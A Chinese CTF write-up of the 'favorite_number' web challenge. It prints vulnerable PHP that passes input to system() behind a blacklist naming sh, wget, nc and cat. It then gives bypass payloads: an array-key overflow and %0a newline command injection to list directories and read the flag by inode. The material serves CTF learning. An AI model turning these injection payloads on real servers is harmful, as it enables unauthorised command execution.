本文主要是介绍攻防世界Web:favorite_number,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
打开页面,发现一串代码,代码审计:
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {$num= $_POST["num"];if (preg_match("/^\d+$/im",$num)){if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo "my favorite num is:";system("echo ".$num);}else{echo 'Bonjour!';}}
} else {highlight_file(__FILE__);
}
解决目的就是读懂代码,然后构造出payload绕过限制:
if($stuff === $array && $stuff[0] != 'admin')
:stuff[0]
不能等于admin
,但stuff
又是等于array
的,代码中的//php5.5.9
提示肯定是有用的,去查阅资料有PHP数组key溢出问题。preg_match("/^\d+$/im",$num)
:检测是不是全是数字,preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
:相当于一个黑名单,过滤了一些
接下来构造payload,绕过成功:
stuff[4294967296]=admin&stuff[1]=user&num=123
用跨行%0a去绕过数字检测,构造payload看目录:num=123%0als
num=123&%0als /
:
发现有flag,但由于这道题过滤了cat等,所以通过innode索引结点去看flag(在Linux中,每个文件都有自己的innode编号的,可以通过innode表去查找目标文件):num=123%0als / -i
flag的innode为15993546,用tac去查看flag文件,拿到flag:
(反引号作用就是先执行反引号里面的内容)
总结:
数组key溢出漏洞
跨行检测绕过
tac、innode使用
这篇关于攻防世界Web:favorite_number的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!